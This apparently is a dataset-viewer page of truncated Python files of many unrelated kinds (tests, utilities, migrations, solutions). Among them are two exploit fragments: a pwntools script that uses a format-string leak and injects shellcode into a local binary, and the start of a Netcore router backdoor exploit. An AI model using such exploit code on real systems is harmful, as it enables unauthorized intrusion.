text stringlengths 1 927k |
|---|
"""
Alex Levenson
alex@isnotinvain.com | www.isnotinvain.com
(c) Reya Group | http://www.reyagroup.com
Friday July 23rd 2010
"""
import networkx as nx
import csv
import igraph
def writeDict(dict,file,headerRow=None):
"""
Writes dict to file in CSV format
file: a file object or a filepath
headerRow: a list co... |
##
# File: StarReaderTests.py
# Author: jdw
# Date: 5-Oct-2017
# Version: 0.001
##
"""
Test cases for simple star file reader/writer --
"""
from __future__ import absolute_import
import logging
import os
import os.path
import sys
import time
import unittest
from mmcif.io.IoAdapterPy import IoAdapterPy as IoA... |
# -*- coding: utf-8 -*-
# @创建时间 : 19/2/2018
# @作者 : worry1613(549145583@qq.com)
# GitHub : https://github.com/worry1613
# @CSDN : http://blog.csdn.net/worryabout/
from optparse import OptionParser
from gensim.models import word2vec
import logging
logging.basicConfig(format='%(asctime)s : %(levelname)s : %(messa... |
# Copyright (c) 2019 Deere & Company
# This software may be modified and distributed under the terms
# of the MIT license. See the LICENSE file for details.
import smtplib
from _common_setup import *
from models.FieldOperation import FieldOperation
from models.FieldOperationMeasurement import FieldOpMeasurement
from... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from... |
import json
import logging
import uuid
from todos.todo_model import TodoModel
def create(event, context):
print(event['body'])
data = json.loads(event['body'])
if 'text' not in data:
logging.error('Validation Failed')
return {'statusCode': 422,
'body': json.dumps({'error_m... |
"""Converts examples from MYRORSS to GridRad format."""
import os.path
import argparse
import numpy
from gewittergefahr.gg_utils import radar_utils
from gewittergefahr.gg_utils import time_conversion
from gewittergefahr.deep_learning import input_examples
from gewittergefahr.deep_learning import training_validation_io... |
# (C) Datadog, Inc. 2020-present
# All rights reserved
# Licensed under a 3-clause BSD style license (see LICENSE)
import json
import re
from ....trello import TrelloClient
from ...console import abort, echo_info
class RCBuildCardsUpdater:
version_regex = r'(\d*)\.(\d*)\.(\d*)([-~])rc([\.-])(\d*)'
def __in... |
import shutil
import imghdr
import os
from PIL import Image
import logging
from src.utils.common import create_directories
def validate_image(config: dict) -> None:
PARENT_DIR = os.path.join(
config['data']['unzip_data_dir'],
config['data']['parent_data_dir'])
BAD_DATA_DIR = os.path.join(
... |
import pytest
from mock import Mock
from dbnd._core.constants import UpdateSource
from dbnd._core.tracking.airflow_dag_inplace_tracking import (
AirflowOperatorRuntimeTask,
AirflowTaskContext,
build_run_time_airflow_task,
)
def af_context_w_context():
task_instance = Mock()
task = Mock()
tas... |
VERSION = "ALPHA 0.0.3" |
from requests import get
from re import findall
import os
import glob
from rubika.client import Bot
import requests
from rubika.tools import Tools
from rubika.encryption import encryption
from gtts import gTTS
from mutagen.mp3 import MP3
import time
import random
import urllib
import io
bot = Bot("ssnakxcydoxdtheauejq... |
import gym
from gym import spaces
from gym.utils import seeding
import numpy as np
from os import path
class PendulumEnv(gym.Env):
metadata = {
'render.modes' : ['human', 'rgb_array'],
'video.frames_per_second' : 30
}
def __init__(self, force=10.0, length=1.0, mass=1.0):
if isinsta... |
"""
@author: acfromspace
"""
# Make a function commafy that, given a list of three or more things,
# returns a list with commas.
#
# >>>> commafy(["trinket", "learning", "fun"])
# trinket, learning, and fun
# >>>> commafy(["lions", "tigers", "bears"])
# lions, tigers, and bears
def commafy(list):
# Add code here... |
from __future__ import absolute_import
from copy import deepcopy
#typing
import numpy
from parsimonious.grammar import Grammar
from allennlp.semparse.contexts.atis_tables import * # pylint: disable=wildcard-import,unused-wildcard-import
from allennlp.semparse.contexts.sql_table_context import\
SqlTableContext... |
import unittest
from checkov.common.models.consts import ANY_VALUE
from checkov.common.models.enums import CheckResult
from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck
from checkov.terraform.checks.resource.registry import resource_registry
class TestAnyCheck(BaseResourc... |
"""This is where the cool functions go that help out stuff.
They aren't directly attached to an element. Consequently, you need to
use type annotations here.
"""
import ast
import collections
import inspect
import itertools
import math # lgtm [py/unused-import]
import textwrap
import types
from typing import Any, It... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Data class to store output from detectors.
"""
from __future__ import annotations
import uuid
from timeit import default_timer as timer
from typing import Optional
from typing import Union
import cv2
import numpy as np
from onevision.cv.imgproc.shape import box_xyxy... |
import argparse
import ffmpeg # requirements: pip install ffmpeg-python
import numpy as np
import cv2
import os
import os.path
import sys
sys.path.append(os.getcwd())
quality_thr = 1 # 10
def check_rotation(path_video_file):
rotateCode = None
try:
# this returns meta-data of the video file in fo... |
from analyst.converters import LowerCaseAlphaNumConverter, IPV4Converter
def test_lowercasealphanumconverter_good():
value = "NotAlphaNum 123!"
converter = LowerCaseAlphaNumConverter()
assert converter.convert(value) is None
def test_lowercasealphanumconverter_bad():
value = "IsAlphaNum-123"
con... |
# # -*- coding: utf-8 -*-
#
# import json
# import os
# import re
# import sys
#
# import click
#
# import click_spinner
#
# import emoji
#
# from prompt_toolkit import PromptSession
# from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
# from prompt_toolkit.history import FileHistory
# from prompt_toolkit.k... |
from django.conf.urls.defaults import patterns, url
urlpatterns = patterns(
'webcast.views',
url(r'^$', 'webcast_list', {'slug': 'all'}, name='object_list'),
url(r'^upcoming/$', 'webcast_list', {'slug': 'upcoming'}, name='upcoming'),
url(r'^mine/$', 'upcoming', name='upcoming_mine'),
url(r'^assigne... |
# Arithmetic tests for DataFrame/Series/Index/Array classes that should
# behave identically.
# Specifically for datetime64 and datetime64tz dtypes
from datetime import (
datetime,
time,
timedelta,
)
from itertools import (
product,
starmap,
)
import operator
import warnings
import numpy as np
impo... |
#
# @lc app=leetcode.cn id=146 lang=python3
#
# [146] LRU缓存机制
#
# https://leetcode-cn.com/problems/lru-cache/description/
#
# algorithms
# Medium (44.80%)
# Total Accepted: 27.6K
# Total Submissions: 61.5K
# Testcase Example: '["LRUCache","put","put","get","put","get","put","get","get","get"]\n[[2],[1,1],[2,2],[1],... |
"""
Copyright 2018-2021 The Johns Hopkins University Applied Physics Laboratory.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by a... |
# Generated by Django 2.0.5 on 2018-05-28 13:31
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('home', '0015_auto_20180524_2238'),
]
operations = [
migrations.AddField(
model_name='standardpage',
name='list_child... |
import unittest
from os import path
from random import choice
from ga4stpg.graph import UGraph, UWGraph
from ga4stpg.graph.algorithms import prim
from ga4stpg.graph.reader import ReaderORLibrary
from ga4stpg.graph.util import is_steiner_tree
from ga4stpg.tree.evaluation import EvaluateTreeGraph
from ga4stpg.tree.gener... |
"""Unit tests for the configuration variables"""
from ..src import config as cf
import numpy as np
def test_backendport():
assert isinstance(cf.BACKEND_PORT, int)
def test_host():
assert isinstance(cf.HOST, str)
def test_model():
assert isinstance(cf.MODEL, str)
def test_model_url():
assert isi... |
#!/usr/bin/python
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"... |
#!/usr/bin/env python2
# Copyright (c) 2015 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
# Test mulitple rpc user config option rpcauth
#
from test_framework.test_framework import BitcoinTestFrame... |
from unittest import TestCase
from hellosign_sdk.tests.test_helper import api_key
from hellosign_sdk import HSClient
from hellosign_sdk.utils import HSRequest, BadRequest
import tempfile
import os
import io
#
# The MIT License (MIT)
#
# Copyright (C) 2014 hellosign.com
#
# Permission is hereby granted, free of charg... |
FILE = "input.txt"
MONSTER = """ #
# ## ## ###
# # # # # # """
class DirectionalEdge:
def __init__(self, value, to_tile=None, tile_side=None, is_flipped=None):
self.value = value
self.to_tile = to_tile
self.tile_side = tile_side
self.is_flipped =... |
# -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-03-07 06:24
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('jokelist', '0001_initial'),
]
operations = [
migrations.RemoveField(
... |
#!/usr/bin/env python3
from pwn import *
# Open up the process
p = process("./buffers", stdin=PTY)
print(p.recv())
# Leak the fourth pointer from memory
p.sendline("%4$p")
addr = p.recvline().strip()
addr = int(addr, 16)
addr = addr - 112
addr = p64(addr)
# Generate the payload
shellcode = b"\x48\x81\xec\x2c\x01\x0... |
"""
.. _source_reconstruction:
========================
Compute inverse solution
========================
The inverse solution pipeline performs source reconstruction starting either
from raw/epoched data (*.fif* format) specified by the user or from the output
of the Preprocessing pipeline (cleaned raw data).
"""
# ... |
# -*- coding: utf-8 -*-
from django.db import migrations, models
from django.db.models import Q
def migrate_countries(apps, schema_editor):
UserProfile = apps.get_model('users', 'UserProfile')
# cities_light data models
Country = apps.get_model('cities_light', 'Country')
for profile in UserProfile... |
from __future__ import print_function, absolute_import
from builtins import str
import os
from os.path import normpath, exists, dirname, join, abspath, relpath
import ntpath
import copy
from collections import namedtuple
import shutil
from subprocess import Popen, PIPE
import re
import json
from tools.resources impor... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# File: _version.py
#
# Copyright 2017 Costas Tyfoxylos
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including withou... |
import pyaf.tests.model_control.test_ozone_custom_models_enabled as testmod
testmod.build_model( ['Integration'] , ['MovingAverage'] , ['Seasonal_Second'] , ['AR'] ); |
try:
import unittest2 as unittest
except ImportError:
import unittest
from automaton.lib import registrar
class UnsuccessfulExecution(Exception):
""" UnsuccessfulExecution errors are not necessarily fatal.
All they represent is a failure on the service's part to
successfully produce normal output. ... |
# Serializers define the API representation.
from django.contrib.auth import get_user_model
from rest_framework import serializers
User = get_user_model()
class ProfileSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = [
"id",
"email",
"... |
#####
#
# This class is part of the Programming the Internet of Things
# project, and is available via the MIT License, which can be
# found in the LICENSE file at the top level of this repository.
#
# Copyright (c) 2020 by Andrew D. King
#
import logging
import unittest
from time import sleep
import programmingt... |
"""
Module: 'io' on esp32_LoBo
MCU: (sysname='esp32_LoBo', nodename='esp32_LoBo', release='3.2.24', version='ESP32_LoBo_v3.2.24 on 2018-09-06', machine='ESP32 board with ESP32')
Stubber: 1.0.0
"""
class BufferedWriter:
''
def flush():
pass
def write():
pass
class BytesIO:
''
def ... |
# ##################################################
# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction,... |
import logging
import os
from typing import Any, Callable
import json_tricks
from nni.runtime.msg_dispatcher_base import MsgDispatcherBase
from nni.runtime.protocol import CommandType, send
from nni.utils import MetricType
from .graph import MetricData
from .execution.base import BaseExecutionEngine
from .execution.c... |
#!/usr/bin/env python
"""
Synchronize the documentation files in a given directory ``doc_dir`` with the
actual state of the SfePy sources in ``top_dir``. Missing files are created,
files with no corresponding source file are removed, other files are left
untouched.
Notes
-----
The developer guide needs to be edited ma... |
'''
from south.db import db
def rename_table_pending_creates(old_name, new_name):
"""Replace app name in db.pending_create_signals to avoid crashing
out at the end of the migration.
"""
create_signals = db.get_pending_creates()
for i in xrange(0, len(create_signals)):
if create_signals[i][... |
""" Feeder database module
This module creates a database with a model to store off-chain data.
"""
import databases
import sqlalchemy
DATABASE_URL = "sqlite:///./test.db"
database = databases.Database(DATABASE_URL)
metadata = sqlalchemy.MetaData()
offchain = sqlalchemy.Table(
"offchain",
metadata,
sq... |
"""
Mixin for cache with joblib
"""
# Author: Gael Varoquaux, Alexandre Abraham, Philippe Gervais
# License: simplified BSD
import json
import warnings
import os
import shutil
from distutils.version import LooseVersion
import nibabel
from sklearn.externals.joblib import Memory
MEMORY_CLASSES = (Memory, )
try:
f... |
#coding: utf-8
'''
@Test list:
NW774
'''
from routelib import *
from exp_template import *
import socket
import struct
class Level(Enum):
info = 0
debug = 1
error = 2
warming = 3
success = 4
level_string = ['[Info]', '[Debug]', '[Error]', '[Warming]', '[Success]']
class netcore_backdoor(Explo... |
from flask import Blueprint
# import googlemaps
from config import CONFIG as conf
CONFIG = conf()
# gmaps = googlemaps.Client(key=CONFIG.GOOGLE_MAPS_API_KEY)
# Geocoding an address
# geocode_result = gmaps.geocode('1600 Amphitheatre Parkway, Mountain View, CA')
# Look up an address with reverse geocoding
reverse_... |
# encoding: utf-8
"""Decorators that don't go anywhere else.
This module contains misc. decorators that don't really go with another module
in :mod:`yap_ipython.utils`. Beore putting something here please see if it should
go into another topical module in :mod:`yap_ipython.utils`.
"""
#-------------------------------... |
from django import forms
from django.contrib.auth.models import User
from django.contrib.auth.forms import UserCreationForm
from .models import Profile
class UserRegisterForm(UserCreationForm):
email = forms.EmailField()
class Meta:
model = User
fields = ['username', 'email', 'password1', 'pa... |
import numpy as np
import math
def dotproduct(v1, v2):
return sum((a * b) for a, b in zip(v1, v2))
def length(v):
return math.sqrt(dotproduct(v, v))
def angle(v1, v2):
try:
if length(v1) * length(v2) == 0:
radians = 0
else:
radians = math.acos(dotproduct(v1, v2)... |
#!/usr/bin/env python
# Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Adaptor script called through build/isolate.gypi.
Creates a wrapping .isolate which 'includes' the original one, that can be
consum... |
# Adapted from test_file.py by Daniel Stutzbach
import sys
import os
import io
import errno
import unittest
from array import array
from weakref import proxy
from functools import wraps
from test.support import (run_unittest, cpython_only, swap_attr)
from test.support.os_helper import (TESTFN, TESTFN_UNICODE, make_ba... |
'''
This is a utility to add a section to a PE file. Given a binary file on disk,
this utility will performs the following:
- Check if the PE header has enough room for an additional section header
- If not:
- Grow the header by OPTIONAL_HEADER.FileAlignment bytes
- Fix the PointerToRawData of all other sections
... |
mhb_file = open("mhb_gesamt.txt","r",encoding="utf8")
mhb_gesamt = mhb_file.read()
mhb_file.close()
modDescrSeq = mhb_gesamt.split("Modulbezeichnung: ")
i = 1
while i<len(modDescrSeq):
fileName = "ModDescr_" + str(i)
file = open(fileName + ".txt","w")
file.write(modDescrSeq[i].strip())
file.close()
... |
import pulumi
import pulumi.runtime
from ... import tables
class PersistentVolumeClaimList(pulumi.CustomResource):
"""
PersistentVolumeClaimList is a list of PersistentVolumeClaim items.
"""
def __init__(self, __name__, __opts__=None, items=None, metadata=None):
if not __name__:
ra... |
# encoding=utf-8
"""
Created on 9:38 2019/07/16
@author: Chenxi Huang
It implements "Transfer Feature Learning with Joint Distribution Adaptation"
Refer to Long Mingsheng's(the writer) code in Matlab
"""
import numpy as np
import os
import scipy.io
import scipy.linalg
import sklearn.metrics
from sklearn... |
from discord.ext import commands
import os
bot = commands.Bot(command_prefix='/')
token = os.environ['DISCORD_BOT_TOKEN']
@bot.event
async def on_message(message):
if message.author.bot:
return
if message.content == ('$mjoha'):
await message.channel.send("<@588392127919161357>"+'おはよう:heart:')
... |
"""
RetinaNet code borrowed from
https://github.com/yhenon/pytorch-retinanet/blob/master/retinanet/model.py
"""
import torch.nn as nn
import torch
import math
import torch.utils.model_zoo as model_zoo
from torchvision.ops import nms
from .retinanet_utils import BasicBlock, Bottleneck, BBoxTransform, ClipBoxes, Anchors... |
from nose.plugins.attrib import attr
from tests import WordPressTestCase
from wordpress_xmlrpc.methods import taxonomies
from wordpress_xmlrpc.wordpress import WordPressTaxonomy, WordPressTerm
class TestTaxonomies(WordPressTestCase):
@attr('taxonomies')
@attr('pycompat')
def test_taxonomy_repr(self):
... |
# Copyright 2015 Hewlett Packard Enterprise Development LP
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... |
from sklearn import ensemble
from src.multi_class import input_preproc
from src.multi_class import calculate_metrics
def runClassifier(X_train, X_test, y_train, y_test):
# GRADIENT BOOSTING
cls = ensemble.GradientBoostingClassifier(
n_estimators=100,
learning_rate=0.1,
max_depth=5,
verbose=0
)
... |
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not... |
from datetime import datetime, time, timedelta
import numpy as np
import pytest
import pytz
import pandas.compat as compat
import pandas as pd
from pandas import DatetimeIndex, Index, Timestamp, date_range, notna
import pandas.util.testing as tm
from pandas.tseries.offsets import BDay, CDay
START, END = datetime(2... |
#!/usr/bin/env python2
# OpenPOWER Automated Test Project
#
# Contributors Listed Below - COPYRIGHT 2018
# [+] International Business Machines Corp.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the Lic... |
# dataset settings
dataset_type = 'MyCvprRobust'
img_norm_cfg = dict(
mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)
train_pipeline = [
dict(type='LoadImageFromFile'),
dict(
type='RandomResizedCrop',
size=384,
backend='pillow',
interpolation='bicubi... |
# Following is the implementation of RSA Encryption and Decryption Algorithm
# Input any number as plaintext
# The public and private keys change everytime as we generate random prime numbers everytime
# Eg:
# Enter message to encrypt: 234
# Public Key: e = 4205, n = 23213
# Private Key: d = 8297, n = 23213
# Ciphertex... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.9 on 2018-02-13 13:23
from __future__ import unicode_literals
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('notifications', '0001_initial'),
]
operations = [
... |
# Copyright (c) 2013 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... |
import copy
from collections import deque
from unification import *
from ordered_set import OrderedSet
from pylps.kb import KB
from pylps.constants import *
from pylps.expand import *
from pylps.exceptions import *
from pylps.utils import *
from pylps.plan import Plan, Proposed
from pylps.unifier import unify_fact
... |
class ConsoleKey(Enum,IComparable,IFormattable,IConvertible):
"""
Specifies the standard keys on a console.
enum ConsoleKey,values: A (65),Add (107),Applications (93),Attention (246),B (66),Backspace (8),BrowserBack (166),BrowserFavorites (171),BrowserForward (167),BrowserHome (172),BrowserRefresh (168),BrowserS... |
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
"""
Functions are useful untilities for interpretation of ANN
Notes
-----
Author : Zachary Labe
Date : 22 July 2020
Usage
-----
[1] deepTaylorAnalysis(model,XXt,YYt,biasBool,annType,classChunk,startYear)
[2] def _gradient_descent_for_bwo(cnn_model_object, loss_tensor,
... |
from __future__ import print_function
import sys
sys.path.append('..')
from Game import Game
from .UT3Logic import Board
import numpy as np
"""
Game class implementation for the game of Ultimate TicTacToe.
Author: Harrison Delecki, github.com/hdelecki
Based on the OthelloGame by Surag Nair.
"""
class UT3Game(Game):
... |
"""
link: https://leetcode-cn.com/problems/minimum-number-of-arrows-to-burst-balloons
problem: 给若干区间,问最少需要几个点,能使得任意区间均包含某一个点
solution: 贪心。按左端升序排列,贪心维护点的分布区间;当下一个区间与点分布区间不相交时,选择下一个区间为新的可选分布区间。
"""
class Solution:
def findMinArrowShots(self, points: List[List[int]]) -> int:
if not points:
ret... |
# coding: utf-8
"""
Copyright 2017 Square, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable la... |
from PyQt5.QtCore import Qt, pyqtSignal, QSize
from PyQt5.QtWidgets import (
QLabel, QWidget, QTreeWidgetItem, QHeaderView,
QVBoxLayout, QHBoxLayout,
)
from .ImageLabel import ImageLabel
from .AdaptiveTreeWidget import AdaptiveTreeWidget
class ImageDetailArea(QWidget):
# signal
imageLoaded = pyqtSig... |
#!/usr/bin/env python3
import sys
import json
import os
posts_dir = sys.argv[1]
# iterate over each JSON that was given on the command line
for file in sys.argv[2:]:
jfile = open(file, 'r')
json_data = json.load(jfile)
if(json_data['public_archive'] == 'Yes'): continue
output_fname = json_data['title'... |
from rest_framework import serializers
from carts.models import Cart
from merchandises.models import Merchandise
from django.contrib.auth import get_user_model
from rest_framework.validators import UniqueTogetherValidator
from django.db.models import Sum, Avg, Count
class CartSerializer(serializers.ModelSerializer):
... |
#!/usr/bin/env python
#
# Copyright (c) 2018 Alexandru Catrina <alex@codeissues.net>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the ri... |
import io
import os
import sys
import unittest
try:
import hypothesis
import hypothesis.strategies as strategies
except ImportError:
raise unittest.SkipTest('hypothesis not available')
import zstandard as zstd
from .common import (
make_cffi,
)
s_windowlog = strategies.integers(min_value=zstd.WINDO... |
#!/usr/bin/env python
'''
mouse_and_match.py [-i path | --input path: default ../data/]
Demonstrate using a mouse to interact with an image:
Read in the images in a directory one by one
Allow the user to select parts of an image with a mouse
When they let go of the mouse, it correlates (using matchTemplate) that pa... |
#
# -------------------------------------------------------------------------
# Copyright (c) 2018 Intel Corporation Intellectual Property
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License... |
#!/usr/bin/env python
# encoding: utf-8
"""
HUGIN (.net) Bayesian network format reader.
Author: Behrouz Babaki
Using code written by Michiel Derhaeg
"""
from __future__ import print_function
import sys
import re
import argparse
from bayes_net import Node, Potential, BayesNet, findnode
netregex = re.compile("net[\s\... |
# (c) 2014, Will Thames <will@thames.id.au>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version... |
# SPDX-FileCopyrightText: 2021 easyCore contributors <core@easyscience.software>
# SPDX-License-Identifier: BSD-3-Clause
# © 2021 Contributors to the easyCore project <https://github.com/easyScience/easyCore>
from __future__ import annotations
__author__ = 'github.com/wardsimon'
__version__ = '0.1.0'
from abc im... |
import paho.mqtt.client as mqtt
from cvxpy import *
import numpy as np
import threading
import logging
import random
import time
device_user_node_topic = "usernode1/request/area1"
# One usernode device has several edge server sub_topics and the quantity equal to the number of edge servers
user_node_clients = ... |
"""
tests.test_util
~~~~~~~~~~~~~~~~~
Tests Home Assistant util methods.
"""
# pylint: disable=too-many-public-methods
import unittest
import time
from datetime import datetime, timedelta
import homeassistant.util as util
class TestUtil(unittest.TestCase):
""" Tests util methods. """
def test_sanitize_filen... |
# -*- encoding: utf-8 -*-
"""
tests delegation primaily from keri.core.eventing
"""
import os
import pytest
from keri import help
from keri.db import dbing
from keri.base import keeping
from keri.core import coring
from keri.core import eventing
logger = help.ogler.getLogger()
def test_weighted():
"""
Tes... |
"""
author: Sanjaya Lohani
email: slohani@mlphys.com
Licence: Apache-2.0
"""
import numpy as np
import qiskit.quantum_info as qi
import tensorflow as tf
import tensorflow_probability as tfp
class Haar_State:
def __init__(self, qs):
self._qs = qs
def pure_states(self, _):
state = qi.random_s... |
#!/usr/bin/env python
"""Import AWS Bills into BigQuery from GCS"""
#
# Started with code from:
# https://github.com/drewrothstein/simplebirdmail
# https://github.com/GoogleCloudPlatform/python-docs-samples/blob/master/bigquery/api/load_data_from_csv.py
#
# All are licensed under Apache License, Version 2.0
# http:... |
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from django.test import TestCase
import datetime
from ralph_assets.tests.util import create_asset, create_model, create_category
from ralph_ass... |
from inferelator.distributed.inferelator_mp import MPControl
from inferelator.regression import base_regression
from inferelator import utils
import copy
import numpy as np
import scipy.sparse as sps
from dask import distributed
"""
This package contains the dask-specific multiprocessing functions (these are used in ... |
# -*- coding: utf-8 -*-
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
#... |
from nyanMigen import nyanify
@nyanify()
class no_main_call:
def elaborate(self, platform):
a = Signal()
b = Signal()
b = a |
from oem_framework.models import (
Item,
Range,
Movie,
Show,
Season,
SeasonMapping,
Episode,
EpisodeMapping
)
from oem_core.models.collection import Collection
from oem_core.models.database import Database
from oem_core.models.index import Index
from oem_core.models.metadata import Met... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.